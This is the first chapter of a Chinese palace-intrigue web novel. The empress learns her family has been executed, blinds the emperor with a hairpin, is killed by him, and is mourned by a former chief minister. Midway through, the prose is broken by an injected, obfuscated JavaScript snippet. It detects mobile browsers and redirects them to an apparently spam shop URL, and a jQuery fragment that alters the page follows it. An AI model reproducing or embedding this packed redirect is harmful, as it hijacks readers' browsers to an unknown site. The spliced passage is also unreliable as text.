1. 01 抄家

作品:《臣夺君妻

    康承三年,坤宁宫内。


    雨已连绵好几个日夜,这是新帝登基后的第一场大雨,苦候数月的百姓终得润泽,但陆浄思却总是感到惴惴不安,她缓缓起身,一个人径直走向窗边。


    “皇后娘娘。”身侧的宫女忙拿起披肩递上前去,“夜寒侵骨,您披上件衣裳吧,奴婢给您备了件厚的,就在手边。”


    话毕,似是想起今个是上元节,又急忙补上一句,“待会陛下来看了会心疼娘娘的。”


    上元节帝宿中宫,原是旧例,可那人,竟连这一日也不愿予她。


    陆浄思自嘲的勾起嘴角,指尖轻轻摩擦从窗外伸进屋内的嫩芽枝叶,雨水顺着叶尖滴落。


    “你觉得陛下…他会心疼我吗?”


    小宫女被这突兀一问惊得心头慌跳,不敢妄言,可娘娘的目光就静静的落在她身上,看着她发毛,她只能把头垂得更低,声音细若蚊蚋:“陛下、陛下心里……自然是疼惜娘娘的……”


    雨声更急了,陆浄思却没说话。


    这京城人人都说,皇上与她是打小的情分,少年结发,情深义重。


    还是五皇子时,他眼里就只有她一人,什么宴席游园,只要陆浄思在,他的目光就不会停留在旁人身上。偶尔宫里的老嬷嬷也会和她聊起,说陛下当年如何冲破层层阻难,非她不娶的旧事。


    可如今呢?


    自那身龙袍加身,一切却都变得不同了,如今莫说什么盛宠,便是想见他一面,也难如登天。这般光景,落在旁人眼里,与那冷宫弃妃,怕也没什么分别了吧?


    她又问起来另一件事,“徐嬷嬷呢?今日怎么不见她。”


    身侧的宫人闻言更是慌乱,这徐嬷嬷是陆浄思从陆家带过来的陪嫁嬷嬷,向来是忠心耿耿,很少一日不见踪迹,今个确实古怪。


    “许是身子不爽利,在房中歇着…”


    话音未落,殿外就响起急促的脚步声,伴随着妇女嘶哑的叫喊声,接着就是内侍惊慌的阻拦,“徐嬷嬷,不可擅闯…”


    陆浄思心中不安的弦紧绷到了极致,一拉便会断裂,她压下声音中的颤抖,扶住红檀木椅的把手,“让她进来。”


    “……是”


    内侍松开手,门被猛地撞开,一个浑身湿透、发髻散乱的老妇扑了进来。


    那人正是徐嬷嬷。


    她苍老的脸面色惨白如纸,嘴唇哆嗦着,眼眶赤红,未语泪先流,目光触及陆浄思的瞬间,整个人瘫软下去,几乎是匍匐在陆浄思的脚下。


    “三娘…三娘啊…”徐嬷嬷抓住她的脚踝,泪水顺着她的面颊滴落在陆浄思的绣鞋上,很冰,像这雨夜一般。


    “陆家、陆家…没了!”


    陆浄思心头那根一直紧绷的弦,终于还是“铮”地一声断了。


    “几日、几日前,说是锦衣卫奉旨查抄陆家,夫人和少爷都被以“外戚干政、窥视皇权”的名义被送进诏狱了,就、就在方才…他们、他们…被斩首示众了啊,其余奴仆,男的发配边疆…女的都被送到教坊司了!”


    轰隆——


    一道惨白电光撕裂天际,映得陆浄思面无血色,形同槁木。


    雷声、雨声、风声、徐嬷嬷的抽泣声都变得越来越遥远,陆浄思站在原地,却感觉自己飘了起来,飘到房梁上,飘到窗边,从另一个角度看着那个女人,看着这个尊居后位的女子。


    她早该料会有这一日的,从她辅佐箫亦沅篡位时她就该知道。


    陆浄思喉头一甜,一股腥气涌上,又被她死死咽下


    “摆驾。”


    陆浄思声音平稳得可怕,她顺手抄起箫亦沅曾经送给她的银簪,缓缓插入发内,就算与她的打扮格格不入也无妨。


    “去阙羽宫。”


    *


    阙羽宫是箫亦沅最宠爱的淑妃的住所。


    从坤宁宫到阙羽宫的路不远,可今夜陆浄思却觉得,这是她此生走过最长的一段,远处的巡夜侍卫见到陆浄思气势汹汹的前来,霎时想起陛下此刻正在阙羽宫中与淑妃共度良宵,只得硬着头皮率众上前,跪倒雨地中拦住去路。


    “皇后娘娘金安!夜深雨急,有什么要事让小人传答便可。”


    “让开。”雨水顺着陆浄思的脸庞滑至下颌,她抬头看着面前黑压压的侍卫,看着他们露出身侧的佩剑,一字一句的说,“上元佳节,陛下既在阙羽宫与贵妃同乐,本宫身为中宫,理当前去共庆佳节,以示恩典和睦。”


    她语气太过平静,听起来合乎宫规,侍卫长虽面露难色但终究还是侧身退开,侍卫们分立两侧,垂首无声,雨丝湿冷,映出她最后一丝摇摇欲坠的尊严。


    陆浄思直闯淑妃寝房,厚重的殿门被她一把推开,笑语声混杂着暖得发腻的热气和甜到发齁的熏香,劈头盖脸向她砸来。


    罗帷之内,两道身影交缠,气味中有一丝难闻的又很熟悉的膻腥味,熏的她几乎干呕起来。


    看见她,塌上的淑妃发出短促的尖叫,抓起衣服就躲到箫亦沅的身后。


    “原来是朕的皇后来了。”


    那人用手轻抚起美人的秀发,漫不经心的说这些冠冕堂皇的话语。


    “上元佳节,理当团圆。”箫亦沅微微起身,轻轻笑道,“思儿是在怨我不去坤宁宫吗?。”


    “团圆?”


    这两个词从他嘴中说出,简直可笑至极!在上元之夜下令处死她全族的人,此刻正微笑着说出如此诛心之言。


    陆浄思几度无法站立,踉跄的后退了半步,撞上了还未闭拢的门扇,才堪堪稳住自己。


    “陆家的事…”这句话几乎是从她牙缝里硬生生挤出来的。


    箫亦沅随手扯过榻边一件中衣披上,缓步走到她面前,居高临下的看着她,用手扣住了她下颌,迫使她仰脸,陆浄思被他的动作禁锢住,只能随着他的行动而向前踉跄几步,下颌的疼让她忍不住叫出了声,挣扎着想要摆脱掉他的手。


    “三娘知道了啊。”箫亦沅竟温声笑了,嘴角弯起细微的弧度,“是谁,这么多嘴?”


    他微微偏头目光扫过身后侍立的宫人,目光触及的每一个人都顿时僵直,深埋下头。


    他慢条斯理地说,字字清晰,“朕要拔了他的舌头。”


    屈辱。


    她为枕边人机关算尽,到头来却像蝼犬般被轻贱玩弄,陆家已亡,她陆浄思又能苟活几日?无非是一盏鸩酒,或是一段白绫罢了!


    陆浄思积压的所有愤恨,在这一刻轰然决堤,她声音嘶哑:


    “箫亦沅,我陆浄思……我陆家为你夺嫡,机关算尽,做了多少丧尽天良的脏事!我两个哥哥一个为你战死,马革裹尸都寻不回全骨!一个为你残废,生不如死,哪怕这些都换不来你对你发妻的母族,对你曾跪地求娶的女人,哪怕一丝的怜悯吗?!”


    “你这皇位当真是正统么?箫亦沅,那些旧事莫非还要我一桩桩说与你听?太子的惨死还是先帝的暴毙!”


    最后一个字嘶哑地挤出喉咙,陆浄思弓起身子,喊得撕心裂肺,仿佛要将五脏六腑都呕出来。


    箫亦沅脸上那层最后用来敷衍的,名为温和的薄冰,也随之彻底消融殆尽,但他没有动怒,只是几不可闻地“啧”了一声。


    “你果然就该死在三年前,死人才能保守秘密,可惜那时因为周怀安,朕不得不答应留你一命。”


    周怀安?陆浄思记得这名字,先帝钦点的状元,才冠京华,姿仪出众,也是箫亦沅手下心腹


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17321156|199067||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    幕僚,一度破格提为最年轻的首辅,只可惜最终却因拒婚长公主,被贬潮州,自此音讯全无。


    “此事与他又何干?”


    “呵。”男人冷笑,“他说曾受过你一贯钱的恩情才肯认我为主,聪明到这个份上,偏偏又是个愚忠的,一听说我要动陆家便拼死来求情,求我放你一马。正好,这种人我留着也未必握得住,他自己求个外放,反倒省事。”


    “罢了三娘,不提这些了,毕竟以后便于你再无瓜葛,朕念在夫妻一场,便许你选个了断的法子。”


    “最后可有话要说?”


    陆浄思抬手,自发间缓缓取下一支银簪:“箫亦沅,可还记得我及笄那年,你赠的这支簪子?”


    箫亦沅沉默未答,陆浄思却不在意的继续说着。


    “沅郎,你再瞧我一眼罢。”


    箫亦沅僵住,或许是未曾想到她最后居然会说出这样的一句话,下意识的靠近了她。


    陆浄思握紧簪柄,待箫亦沅靠近的刹那,她用劲力气将簪子刺入他的右眼,温热的鲜血喷涌而出,溅了陆浄思一脸。


    箫亦沅痛吼着将她甩开,捂眼踉跄倒退,那支曾见证情意的簪子,如今深嵌他的眼眶之中,陆浄思笑起来,他愈是痛苦,她心中愈是快意。


    纵然不能与他同归于尽,她也绝对要让他留下代价!


    “陛下!”内侍与锦衣卫蜂拥而上,将她死死按住。


    陆浄思看着面前那个满脸鲜血的男人,字字泣血:


    “先帝虽柔,犹存仁心;太子虽弱,未伤手足,而你,弑兄囚父,杀妻弃誓,屠陈家满门,诛岳家边将…”


    她的话音未落,箫亦沅青筋暴起,顾不上自己眼伤,一把扼住陆浄思的脖颈。


    “闭嘴!!”


    咔嚓。


    极清脆的一声响。


    陆浄思的头颅软软歪向一侧,视线掠过窗外。


    雨还在下吗?好像不下了,但无边的潮湿还是涌了上来,从指尖开始,一寸寸吞没她。


    箫亦沅的手还掐在她脖子上,没松开,他就那么跪在那儿,看着她,看了很久,久到身后的内侍开始发抖。


    康承三年正月十五,皇后陆氏薨。


    当夜宫中传出旨意:陆氏赐死,以废后之礼葬之,不入皇陵。


    陆浄思出殡那日,天色阴沉,纸灰飘向灰蒙蒙的天,山道上传来急促的马蹄声。


    一匹快马飞奔而来,马上的人一身素衣,风尘仆仆,脸上满是倦色,却掩不住那通身的清贵气度。


    马在山道前猛地勒住,那人翻身下马,踉跄了一下,几乎摔倒。


    是周怀安。


    曾经名动京城的年轻首辅,如今满身狼狈,像是一路疾驰,连歇息都不曾,他的袍角沾满了泥泞,发髻散乱,眼眶深陷,嘴唇干裂得起了皮。


    他一步一步走向坟墓,脚步虚浮,像是随时会倒下。


    徐嬷嬷怔怔地看着他,半晌才反应过来:“周……周大人?”


    周怀安没有应声,他走到坟前,看着那块简陋的墓碑,碑上只刻了七个字:陆氏三娘之墓。


    没有封号,没有谥号,什么都没有。


    他就那样看着,一动不动,风更大了,吹的衣袍鼓起又落下,他忽然跪下来。


    “周大人……”徐嬷嬷想说什么,却被他抬手止住。


    周怀安伸手轻轻的抚摸那冰冷的墓碑,他的手指在颤抖,嘴唇也在颤抖,眼眶红的像快要滴血。


    他的声音沙哑得几乎听不清,像是在对墓碑说,又像是在对自己说,“我以为跟着他,就能离你更近一些;我以为离开你,就能让你活得再久一点…”


    风把他的声音吹散了,消散在山间。